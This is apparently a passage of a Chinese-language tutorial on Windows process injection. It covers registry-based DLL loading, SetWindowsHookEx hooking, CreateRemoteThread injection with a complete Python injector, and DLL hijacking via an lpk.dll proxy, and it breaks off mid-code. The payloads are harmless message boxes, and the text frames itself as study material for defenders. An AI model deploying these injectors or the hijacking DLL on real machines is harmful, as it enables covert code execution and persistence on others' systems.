1. 關於進程注
0x1:什么是進程注入
進程注入是一種在獨立的活動進程的地址空間中執行任意代碼的方法,在另一個進程的上下文中運行代碼,會允許訪問該進程的內存、系統資源、網絡資源以及可能的特權提升。
由於執行的代碼由合法的程序代理執行,因此通過進程注入執行也可能會繞過部分安全產品的防病毒檢測或進程白名單檢測。
0x2:進程注入在攻防對抗中的作用
進程注入是一種廣泛使用的躲避檢測的技術,通常用於惡意軟件或者無文件技術。其需要在另一個進程的地址空間內運行特制代碼,進程注入改善了不可見性,同時一些技術也實現了持久性。
大體上,進程注入可以分為兩種形式:
- DLL注入
- Shellcode注入
這兩種方式沒有本質上的區別,在操作系統層面,dll也是shellcode匯編代碼。為了開發方便,白帽子常常會將代碼以dll的形式編譯並傳播,在實際注入的時候,由注入方或者被注入方調用loadlibrary加載。
本文的主題主要圍繞各種進程注入技術進行原理討論,並從防守方思考對應的檢測和防御手段。
2. 通過修改注冊表實現注入和持久性
0x1:技術原理
windows整個系統的配置都保存在這個注冊表中,我們可以通過調整其中的設置來改變系統的行為,惡意軟件常用於注入和持久性的注冊表項條目位於以下位置:
- HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
- HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
- HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls
- HKLM\Software\Microsoft\Windows NT\currentversion\image file execution options
1. AppInit_DLLs
當User32.dll被映射到一個新的進程時,會收到DLL_PROCESS_ATTACH通知,當User32.dll對它進行處理的時候,會取得上述注冊表鍵的值,並調用LoadLibary來載入這個字符串中指定的每個DLL。
AppInit_Dlls: 該鍵的值可能會包含一個DLL的文件名或一組DLL的文件名(通過空格或逗號分隔)(由於空格是用來分隔文件名的,所以我們必須避免在文件名中包含空格)。第一個DLL的文件名可以包含路徑,但其他DLL包含的路徑則會被忽略,出於這個原因,我們最好是將自己的DLL放到windows的系統目錄中,這樣就不必指定路徑了
User32.dll是一個非常常見的庫,用於存儲對話框等圖形元素。因此,當惡意軟件修改此子鍵時,大多數進程將加載惡意庫。
從原理上,該方法很像linux下的LD_PRELOAD注入技術。
需要注意的是,在win7之后,windows對dll加載的安全性增加了控制,
- LoadAppInit_DLLs 為1開啟,為0關閉,(Win7默認為0)
- RequireSignedAppInit_DLLs 值為1表明模塊需要簽名才能加載,反之。
2. AppCertDlls
此方法與AppInit_DLLs方法非常相似,此注冊表項下的DLL被加載到調用Win32 API函數CreateProcess,CreateProcessAsUser,CreateProcessWithLogonW,CreateProcessWithTokenW和WinExec的每個進程中。
3. 映像文件執行選項(IFEO)
IFEO通常用於調試目的。開發人員可以在此注冊表項下設置“調試器值”,以將程序附加到另一個可執行文件以進行調試。
因此,每當啟動可執行文件時,會啟動附加到它的程序。
要使用此功能,你只需提供調試器的路徑,並將其附加到要分析的可執行文件。惡意軟件可以修改此注冊表項以將其自身注入目標可執行文件。下圖中,Diztakun木馬通過修改任務管理器的調試器值來實現此技術。
0x2: 該方法的風險點和缺點
- 被注入的DLL是在進程的生命周期的早期(Loader)被載入的,因此我們在調用函數的時候應該謹慎,調用Kernel32.dll中的函數應該沒有問題,但是調用其他DLL中的函數可能會導致失敗,甚至可能會導致藍屏
- User32.dll不會檢查每個DLL的載入或初始化是否成功,所以不能保證DLL注入一定成功
- DLL只會被映射到那些使用了User32.dll的進程中,所有基於GUI的應用程序都使用了User32.dll,但大多數基於CUI的應用程序都不會使用它。因此,如果想要將DLL注入到編譯器或者鏈接器或者命令行程序,這種方法就不可行
- DLL會被映射到每個基於GUI的應用程序中,可能會因為DLL被映射到太多的進程中,導致"容器"進程崩潰
- 注入的DLL會在應用程序終止之前,一直存在於進程的地址空間中,這個技術無法做到只在需要的時候才注入我們的DLL
Relevant Link:
https://blog.csdn.net/hades1996/article/details/9197797
3. 使用Windows掛鈎來注入DLL
0x1:技術原理
鈎子(Hook),是Windows消息處理機制的一個平台,應用程序可以在上面設置子程以監視指定窗口的某種消息,而且所監視的窗口可以是其他進程所創建的。當消息到達后,在目標窗口處理函數之前處理該消息。
因此,鈎子機制允許應用程序截獲處理window消息或特定事件。
底層上看,鈎子實際上是一個處理消息的程序段,通過系統調用,把它掛入系統。每當特定的消息發出,在沒有到達目的窗口前,鈎子程序就先捕獲該消息,亦即鈎子函數先得到控制權。這時鈎子函數即可以加工處理(改變)該消息,也可以不作處理而繼續傳遞該消息,還可以強制結束消息的傳遞。
我們可以用掛鈎(SetWindowsHookEx)來將一個DLL注入到進程的地址空間中。
主要用到的核心函數模塊說明如下:
1. 設置鈎子:SetWindowsHookEx
HHOOK WINAPI SetWindowsHookEx( __in int idHook, \\鈎子類型 __in HOOKPROC lpfn, \\回調函數地址 __in HINSTANCE hMod, \\實例句柄 __in DWORD dwThreadId); \\線程ID )
2. 搜索需要注入DLL的目標進程:
1)獲取目標進程id
DWORD CInjectDLLDlg::GetPIdByProcessName(const char* pszProcessName) { DWORD id = 0; //獲得系統快照句柄 (得到當前的所有進程) HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0) ; PROCESSENTRY32 pInfo; //用於保存進程信息的一個數據結構 pInfo.dwSize = sizeof(pInfo); //從快照中獲取進程列表 Process32First(hSnapShot, &pInfo) ; //從第一個進程開始循環 do { //這里的 pszProcessName 為你的進程名稱 if(strcmp(strlwr(_strdup(pInfo.szExeFile)), pszProcessName) == 0) { id = pInfo.th32ProcessID ; break ; } }while(Process32Next(hSnapShot, &pInfo) != FALSE); return id; }
2)獲取目標進程的主線程id:GetThreadID
DWORD CInjectDLLDlg::GetThreadID(ULONG32 ulTargetProcessID) { HANDLE Handle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (Handle != INVALID_HANDLE_VALUE) { THREADENTRY32 te; te.dwSize = sizeof(te); if (Thread32First(Handle, &te)) { do { if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) { if (te.th32OwnerProcessID == ulTargetProcessID) { HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID); if (!hThread) { printf("Couldn't get thread handle\r\n"); } else { return te.th32ThreadID; } } } } while (Thread32Next(Handle, &te)); } } CloseHandle(Handle); return (DWORD)0; }
0x2:完整代碼示例
1. 被注入進程

private: DWORD m_dwId; HHOOK m_hHook; HMODULE m_hmDll; private: DWORD GetPIdByProcessName(const char* pszProcessName); BOOL InjectDllBySetWindowsHook(ULONG32 ulTargetProcessID,char* pszDllName); DWORD GetThreadID(ULONG32 ulTargetProcessID); /*獲取ID按鈕*/ void CInjectDLLDlg::OnBnClickedBtnGetid() { char szProName[MAX_PATH] = {0}; GetDlgItemText(IDC_ED_NAME,szProName,MAX_PATH); if(strstr(szProName,".exe") == NULL) strcat_s(szProName,MAX_PATH * sizeof(char),".exe"); m_dwId = GetPIdByProcessName(szProName); SetDlgItemInt(IDC_ED_ID,(int)m_dwId,FALSE); } /*Windows掛鈎DLL注入*/ DWORD CInjectDLLDlg::GetPIdByProcessName(const char* pszProcessName) { DWORD id = 0; //獲得系統快照句柄 (得到當前的所有進程) HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0) ; PROCESSENTRY32 pInfo; //用於保存進程信息的一個數據結構 pInfo.dwSize = sizeof(pInfo); //從快照中獲取進程列表 Process32First(hSnapShot, &pInfo) ; //從第一個進程開始循環 do { //這里的 pszProcessName 為你的進程名稱 if(strcmp(strlwr(_strdup(pInfo.szExeFile)), pszProcessName) == 0) { id = pInfo.th32ProcessID ; break ; } }while(Process32Next(hSnapShot, &pInfo) != FALSE); return id; } /*Windows掛鈎Dll注入 按鈕*/ void CInjectDLLDlg::OnBnClickedOk() { char szDllName[MAX_PATH] = {0}; GetDlgItemText(IDC_ED_DLLNAME,szDllName,MAX_PATH); BOOL bRet = InjectDllBySetWindowsHook((ULONG32)m_dwId,szDllName); if (bRet) { //MessageBox("注入成功"); } } /*進程注入*/ BOOL CInjectDLLDlg::InjectDllBySetWindowsHook(ULONG32 ulTargetProcessID,char* pszDllName) { HMODULE m_hmDll = LoadLibrary(pszDllName); if (NULL == m_hmDll) { MessageBox("LoadLibraryError!"); return FALSE; } HOOKPROC sub_address = NULL; sub_address = (HOOKPROC)GetProcAddress(m_hmDll,"MyMessageProcess"); if (NULL == sub_address) { MessageBox("GetProcAddressError!"); return FALSE; } DWORD dwThreadID = GetThreadID(ulTargetProcessID); /* 參數1:要安裝的掛鈎類型 參數2:指定系統調用的窗口消息處理函數 參數3:標示一個包含窗口處理消息函數(參數2)的DLL 參數4:安裝掛鈎的線程ID */ m_hHook = SetWindowsHookEx(WH_KEYBOARD, sub_address, m_hmDll, dwThreadID); } /*獲取進程的主線程ID*/ DWORD CInjectDLLDlg::GetThreadID(ULONG32 ulTargetProcessID) { HANDLE Handle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (Handle != INVALID_HANDLE_VALUE) { THREADENTRY32 te; te.dwSize = sizeof(te); if (Thread32First(Handle, &te)) { do { if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) { if (te.th32OwnerProcessID == ulTargetProcessID) { HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID); if (!hThread) { printf("Couldn't get thread handle\r\n"); } else { return te.th32ThreadID; } } } } while (Thread32Next(Handle, &te)); } } CloseHandle(Handle); return (DWORD)0; } /*退出按鈕*/ void CInjectDLLDlg::OnBnClickedCancel() { if(m_hHook) UnhookWindowsHookEx(m_hHook); if(m_hmDll) FreeLibrary(m_hmDll); CDialogEx::OnCancel(); }
- 打開待注入的DLL文件
- 獲取需要注入執行的DLL中的函數地址
- 通過SetWindowsHookEx向目標進程設置鈎子,鈎子消息的回調函數入口點就是DLL中的入口函數地址
2. Dll
#ifdef MyDll #else #define MyDll extern "C" __declspec(dllimport) #endif MyDll LRESULT MyMessageProcess(int Code, WPARAM wParam, LPARAM lParam); #include "stdafx.h"
#define MyDll extern "C" __declspec(dllexport) #include "MyDll.h" MyDll LRESULT MyMessageProcess(int Code, WPARAM wParam, LPARAM lParam) { MessageBoxA(NULL, "GetMessage!", "Message", 0); return 0; }
0x3: 該方案的優缺點
1. 優點
- 和利用注冊表來注入DLL的方法相比,這種方法允許我們在不需要該DLL的時候從進程的地址空間中撤銷對它的映射,只需要調用UnhookWindowsHookEx就可以達到目的。當一個線程調用UnhookWindowsHookEx的時候,系統會遍歷自己內部的一個已經注入過該DLL的進程列表,並將該DLL的鎖計數器遞減。當鎖計數器減到0的時候,系統會自動從進程的地址空間中撤銷對該DLL的映射
- 這種方式可以理解為借用了windows自己原生的機制來進行DLL注入,注入過程比較穩定
- 當系統把掛鈎過濾函數(hook filter function)所對應的DLL注入或映射到地址空間中時,會映射整個DLL,而不僅僅只是掛鈎過濾函數,這意味着該DLL內的所有函數存在於被注入的進程中,能夠被被注入進程中的任何線程調用。
2. 缺點
- 系統為了防止內存訪問違規,在被注入進程指定Hook函數的時候,會對注入DLL的鎖計數器加1,因為如果不這么做,則被注入進程在執行Hook函數的時候,系統的另一個進程可能會調用UnhookWindowsHookEx,從而引起內存訪問違規。這導致我們不能在調用了Hook函數,且函數還在運行時把掛鈎清除,在Hook函數執行的整個生命周期,這個掛鈎必須一直有效。
Relevant Link:
https://baike.baidu.com/item/SetWindowsHookEx https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa https://blog.csdn.net/rankun1/article/details/50973190 http://www.voidcn.com/article/p-sofgheea-brw.html https://blog.csdn.net/ms2146/article/details/5722472 https://www.freebuf.com/articles/system/93413.html
4. 基於CreateRemoteThread+WriteProcessMemory植入LoadLibrary實現動態注入DLL
0x1:技術原理
基本步驟如下:
- 使用VirtualAllocEx在目標進程的地址空間中創建一塊內存空間
- 使用WriteProcessMemory,將loadlibrary(DLL)的shellcode地址寫入分配的內存
- 一旦DLL路徑寫入內存中,再使用CreateRemoteThread(或者其他無正式說明的功能)從被注入的Shellcode內存地址開始啟動
下面我們分部討論全流程,
1. 使用VirtualAllocEx在目標進程的地址空間中創建一塊我們DLL所在路徑長度的內存空間
//This dll path should be relative to the target process or an absolute path char* dll = "inject.dll"; //We need a handle to the process we will be injecting into HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); //Create the space needed for the dll we are going to be injecting LPVOID lpSpace = (LPVOID)VirtualAllocEx(hProcess, NULL, strlen(dll), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
2. 使用WriteProcessMemory將DLL路徑寫入分配的內存
//Write inject.dll to memory of process int n = WriteProcessMemory(hProcess, lpSpace, dll, strlen(dll), NULL);
3. 使用CreateRemoteThread調用LoadLibrary函數將DLL注入目標進程中
HMODULE hModule = GetModuleHandle("kernel32.dll"); LPVOID lpBaseAddress = (LPVOID)GetProcAddress(hModule,"LoadLibraryA"); //Create Remote Thread using the address to LoadLibraryA and the space for the DLL hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, lpSpace, NULL, NULL);
關於 CreateRemoteThread,windows中存在兩個無正式說明的函數,
- NtCreateThreadEx
- RtlCreateUserThread:RtlCreateUserThread 是 NtCreateThreadEx 的封裝。因為NtCreateThreadEx 的系統調用選項可以在Windows版本間改變。因此,RtlCreateUserThread 更穩定一些。Mimikatz 和 Metasploit。這兩個都是使用RtlCreateUserThread來實現DLL注入的。
HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId ); 1. hProcess: 表示新創建的線程歸哪個進程所有 A handle to the process in which the thread is to be created. The handle must have the PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ access rights, and may fail without these rights on certain platforms 2. lpStartAddress: 代表新建遠程線程的入口函數地址 注意,這個函數地址應該在遠程進程的地址空間中,而不是在我們自己進程的地址空間。因為我們只是在遠程進程中新建了一個線程,我們自己的DLL這個時候還沒有被載入遠程進程中,我們這個時候是孤身深入地方陣地的,沒有攜帶任何武器,只能使用地方陣地上已有的東西制造登錄平台,來實現后續的DLL注入(即利用LoadLibrary)
這里需要注意的是,如果在調用CreateRemoteThread的時候直接引用LoadLibraryW,該引用會被解析為我們模塊的導入段中的LoadLibraryW轉換函數的地址。如果把這個轉換函數的地址作為遠程線程的起始地址傳入,其結果很可能是訪問違規,為了強制讓代碼略過轉換函數並直接調用LoadLibraryW函數,我們必須通過調用GetProcAddress來得到LoadLibraryW在注入DLL中的的准確地址,
對CreateRemoteThread的調用假定在本地進程(local process)和遠程進程中,Kernel32.dll被映射到地址空間中的同一內存地址。每個應用程序都需要Kernel32.dll,且每個進程中都會將Kernel32.dll映射到同一個地址,即使這個地址在系統重啟之后可能會改變,因此,我們可以按照如下的方式來調用
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibrary"); HANDLE hThread = CreateRemoteThread(hProcessRemote, NULL, 0, pfnThreadRtn, L"C:\\Mylib.dll", 0, NULL);
但是這里還有一個問題,還是內存地址空間隔離的問題,我們傳入的這個L"C:\\Mylib.dll"在編譯時會被翻譯為當前本地進程的內存地址,但是對於遠程進程來說,這個地址可能是無效的,這可能導致訪問違規,進而導致遠程進程崩潰。為了解決這個問題,我們需要把DLL的路徑字符串存放到遠程進程的地址空間去,然后在調用CreateRemoteThread傳入
LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect ); 讓我們在遠程進程中分配一塊內存,一旦為字符串分配了一塊內存,我們還需要向這個內存塊中寫入字符串內容 BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten );
這里再一次說明,CreateRemoteThread里傳入的所有信息,都必須是在遠程進程中有效的地址,這就相當於我們深入敵陣之前已經探查好了地形,當深入敵陣的那一瞬間,我們是按照事先探查好的地形(對應於遠程進程中的有效內存地址)來進行后續的行動(即LoadLibraryW)。
梳理一下總的流程:
- 用VirtualAllocEx函數在遠程進程的地址空間中分配一塊內存
- 用WriteProcessMemory函數把DLL的路徑名字符串復制到第一步分配的內存中
- 用GetProcAddress函數來得到LoadLibraryW函數(在Kernel32.dll)在遠程進行中的實際地址
- 用CreateRemoteThread函數在遠程進程中創建一個線程,讓新線程調用正確的LoadLibraryW函數並在參數中傳入第一步分配的內存地址。
- 這時,DLL已經被注入到遠程進程的地址空間,DLL的DllMain函數會收到DLL_PROCESS_ATTACH通知並且可以執行我們自定義的代碼邏輯
- 當DllMain返回的時候,遠程線程會從LoadLibraryW調用返回到BaseThreadStart函數。BaseThreadStart然后調用ExitThread,使遠程線程終止
- 現在遠程進程中有一塊內存,它是我們在第一步分配的,DLL也還在遠程進程的內存空間中,為了對它們進行清理,我們需要在遠程線程退出之后執行后續步驟
- 用VirtualFreeEx來釋放第一步分配的內存
- 用GetProcAddress來得到FreeLibrary函數(在Kernel32.dll)中的實際地址
- 用CreateRemoteThread函數在遠程進程中創建一個線程,讓該線程調用FreeLibrary函數並在參數中傳入遠程DLL的HMODULE
0x2: 代碼示例

#!/usr/bin/python # Win32 DLL injector from Grey Hat Python # Minor formatting cleanups done... import sys from ctypes import * print "DLL Injector implementation in Python" print "Taken from Grey Hat Python" if (len(sys.argv) != 3): print "Usage: %s <PID> <Path To DLL>" %(sys.argv[0]) print "Eg: %s 1111 C:\\test\messagebox.dll" %(sys.argv[0]) sys.exit(0) PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x00F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get handle to process being injected... h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[!] Couldn't get handle to PID: %s" %(pid) print "[!] Are you sure %s is a valid PID?" %(pid) sys.exit(0) # Allocate space for DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) # Write DLL path to allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) # Resolve LoadLibraryA Address h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") # Now we createRemoteThread with entrypoiny set to LoadLibraryA and pointer to DLL path as param thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[!] Failed to inject DLL, exit..." sys.exit(0) print "[+] Remote Thread with ID 0x%08x created." %(thread_id.value)
0x3:方案風險點
- CreateRemoteThread的第一個參數是遠程進程的句柄HANDLE,我們需要調用OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);,並請求合適的訪問權限,方案兼容性可能就出在這個訪問權限。如果OpenProcess返回NULL,那說明應用程序所在的安全上下文(security context)不允許它打開目標進程的句柄。一些進程是本地系統帳號(local system account)運行的,例如WinLogon、SvcHost和Csrss,登錄的用戶是無法對這些進程進行修改的
- CreateRemoteThread+DLL注入只是讓我們有機會定向地讓一個目標遠程執行我們自定義的代碼邏輯。到了這一步還未完成API Hook,因為進程注入只有One Shoot一次機會,如果我們希望持久地控制目標進程的行為,就需要在注入的DLL的DllMain中實現API Hook的代碼邏輯
Relevant Link:
https://github.com/infodox/python-dll-injection https://www.freebuf.com/articles/system/94693.html
5. DLL劫持
0x1:技術原理
每個PE文件都有一個"導入表",pe文件在加載時,會從"導入表"中獲取要加載的DLL的名稱,然后按照指定的目錄順序去加載這些dll。"導入表"中有系統dll,也有程序自帶的dll,因此dll劫持可再細分為
- 系統dll劫持:替換系統原生dll(例如kernel32.dll)
- 程序自帶dll劫持(隨應用程序分發的dll)
1. 系統dll劫持
DLL在被加載時的搜索順序如下:
- 當注冊表HKLM\System\CurrentControlSet\Control\Session Manager鍵值下的屬性SafeDllSearchMode的值設置為1時,DLL搜索順序如下
- 應用程序EXE所在的路徑
- 系統目錄
- 16位系統目錄
- Windows目錄
- 當前目錄
- PATH環境變量指定的目錄
- 當SafeDllSearchMode的值為0時,dll搜索順序變為
- 應用程序EXE所在的路徑
- 當前目錄:當前目錄的搜索順序被提前了,較容易遭到DLL劫持攻擊
- 系統目錄
- 16位系統目錄
- Windows目錄
- PATH環境變量指定的目錄
要注意的是,Win7及以后的系統增加了HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 來拒絕部分系統dll被劫持。該注冊表中的dll名稱不允許被劫持,即系統dll劫持會失敗。
不過,微軟又莫名其妙的允許用戶在上述注冊表路徑中添加“ExcludeFromKnownDlls”注冊表項,排除一些被“KnownDLLs注冊表項”機制保護的DLL。也就是說,只要在“ExcludeFromKnownDlls”注冊表項中添加你想劫持的DLL名稱就可以對該DLL進行劫持,不過修改之后需要重新啟動電腦才能生效。
DLL劫持主要是因為Windows的資源共享機制。為了盡可能多得安排資源共享,微軟建議多個應用程序共享的任何模塊應該放在Windows的系統目錄中,如kernel32.dll,這樣能夠方便找到。
但是隨着時間的推移,安裝程序會用舊文件或者未向后兼容的新文件來替換系統目錄下的文件,這樣會使一些其他的應用程序無法正確執行,因此,微軟改變了策略,建議應用程序將所有文件放到自己的目錄中去,而不要去碰系統目錄下的任何東西。
為了提供這樣的功能,在Window2000開始,微軟加了一個特性,強制操作系統的加載程序首先從應用程序目錄中加載模塊,只有當加載程序無法在應用程序目錄中找到文件,才搜索其他目錄。利用系統的這個特性,就可以使應用程序強制加載我們指定的DLL做一些特殊的工作。
例如,Windows的系統目錄下有一個名為LPK.DLL的系統文件,程序運行時會在c:\Windows\system32文件夾下找到這個DLL文件並加載它。如打開記事本程序。
攻擊者可以構造一個和被劫持DLL導出函數同名的DLL文件,然后在內部轉發真實的函數調用,再將其放在可執行文件的目錄即可實現DLL劫持了。
2. 程序自帶dll劫持
除了系統dll劫持之外,黑客還常用針對某個應用程序一起分發的dll的劫持,這種dll劫持系統本身不提供保護,需要應用程序自己去做簽名和完整性校驗。
0x2: DLL劫持的實現
通過編程來實現一個LPK.DLL文件,它與系統目錄下的LPK.DLL導出表相同,並能加載系統目錄下的LPK.DLL,並且能將導出表轉發到真實的LPK.DLL
- 構造一個與系統目錄下LPK.DLL一樣的導出表
- 加載系統目錄下的LPK.DLL
- 將導出函數轉發到系統目錄下的LPK.DLL上
- 在初始化函數中加入我們要執行的代碼
lpk.cpp

// lpk.cpp : Defines the entry point for the DLL application. // #pragma comment(lib, "user32.lib") //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 頭文件 #include "stdafx.h" //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 #pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1") #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2") #pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3") #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4") //#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5") #pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6") #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7") #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8") #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9") #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10") #pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11") //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 宏定義 #define EXTERNC extern "C" #define NAKED __declspec(naked) #define EXPORT __declspec(dllexport) #define ALCPP EXPORT NAKED #define ALSTD EXTERNC EXPORT NAKED void __stdcall #define ALCFAST EXTERNC EXPORT NAKED void __fastcall #define ALCDECL EXTERNC NAKED void __cdecl //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //LpkEditControl導出的是數組,不是單一的函數(by Backer) EXTERNC void __cdecl AheadLib_LpkEditControl(void); EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {AheadLib_LpkEditControl}; //////////////////////////////////////////////////////////////////////////////////////////////// //添加全局變量 //////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // AheadLib 命名空間 namespace AheadLib { HMODULE m_hModule = NULL; // 原始模塊句柄 // 加載原始模塊 inline BOOL WINAPI Load() { TCHAR tzPath[MAX_PATH]; TCHAR tzTemp[MAX_PATH * 2]; GetSystemDirectory(tzPath, MAX_PATH); lstrcat(tzPath, TEXT("\\lpk")); m_hModule=LoadLibrary(tzPath); if (m_hModule == NULL) { wsprintf(tzTemp, TEXT("無法加載 %s,程序無法正常運行。"), tzPath); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); }; return (m_hModule != NULL); } // 釋放原始模塊 inline VOID WINAPI Free() { if (m_hModule) { FreeLibrary(m_hModule); } } // 獲取原始函數地址 FARPROC WINAPI GetAddress(PCSTR pszProcName) { FARPROC fpAddress; CHAR szProcName[16]; TCHAR tzTemp[MAX_PATH]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf(szProcName, "%d", pszProcName); pszProcName = szProcName; } wsprintf(tzTemp, TEXT("無法找到函數 %hs,程序無法正常運行。"), pszProcName); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); ExitProcess(-2); } return fpAddress; } } using namespace AheadLib; //////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////// //函數聲明 void WINAPIV Init(LPVOID pParam); //////////////////////////////////////////////////////////////////////////////////////////////// void WINAPIV Init(LPVOID pParam) { //在這里添加DLL加載代碼 MessageBox(NULL, TEXT("可以執行任意代碼了,測試成功。"), TEXT("littlehann.com"), MB_OK | MB_ICONWARNING); return; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 入口函數 BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) { if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); if(Load()) { //LpkEditControl這個數組有14個成員,必須將其復制過來 memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52); _beginthread(Init,NULL,NULL); } else return FALSE; } else if (dwReason == DLL_PROCESS_DETACH) { Free(); } return TRUE; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 ALCDECL AheadLib_LpkInitialize(void) { GetAddress("LpkInitialize"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 ALCDECL AheadLib_LpkTabbedTextOut(void) { GetAddress("LpkTabbedTextOut"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 ALCDECL AheadLib_LpkDllInitialize(void) { GetAddress("LpkDllInitialize"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 ALCDECL AheadLib_LpkDrawTextEx(void) { GetAddress("LpkDrawTextEx"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 ALCDECL AheadLib_LpkEditControl(void) { GetAddress("LpkEditControl"); __asm jmp DWORD ptr [EAX];//這里的LpkEditControl是數組,eax存的是函數指針 } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 ALCDECL AheadLib_LpkExtTextOut(void) { GetAddress("LpkExtTextOut"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 ALCDECL AheadLib_LpkGetCharacterPlacement(void) { GetAddress("LpkGetCharacterPlacement"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 ALCDECL AheadLib_LpkGetTextExtentExPoint(void) { GetAddress("LpkGetTextExtentExPoint"); __asm JMP EAX; } 